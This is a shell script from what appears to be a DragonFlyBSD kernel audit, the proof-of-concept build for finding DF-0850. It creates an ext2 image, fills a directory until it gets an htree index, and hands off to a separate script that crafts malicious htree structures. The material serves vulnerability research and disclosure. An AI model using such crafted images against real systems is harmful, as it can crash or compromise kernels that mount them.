DragonFlyBSD Kernel Audit
DF-0850 / build.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0850 PoC build: craft the malicious ext2 image
# Requires: python3, mke2fs, debugfs (on host Linux)
set -e

# Step 1: Create base ext2 image with dir_index
dd if=/dev/zero of=ext2_htree.img bs=1M count=8 2>/dev/null
mke2fs -t ext2 -b 1024 -O dir_index -F ext2_htree.img 2>&1 | tail -3

# Step 2: Populate with test directory + files (via debugfs)
python3 - <<'PYEOF'
import subprocess
cmds = "mkdir testdir\n"
for i in range(300):
    name = f"f{i:04d}_longname_to_force_htree_index_split"
    cmds += f"write /dev/null testdir/{name}\n"
cmds += "quit\n"
subprocess.run(["debugfs", "-w", "ext2_htree.img"], input=cmds, capture_output=True, text=True)
print("debugfs populated testdir with 300 files")
PYEOF

# Step 3: Craft the malicious htree structures
python3 craft_htree.py

echo "Build complete: evil_ext2.img"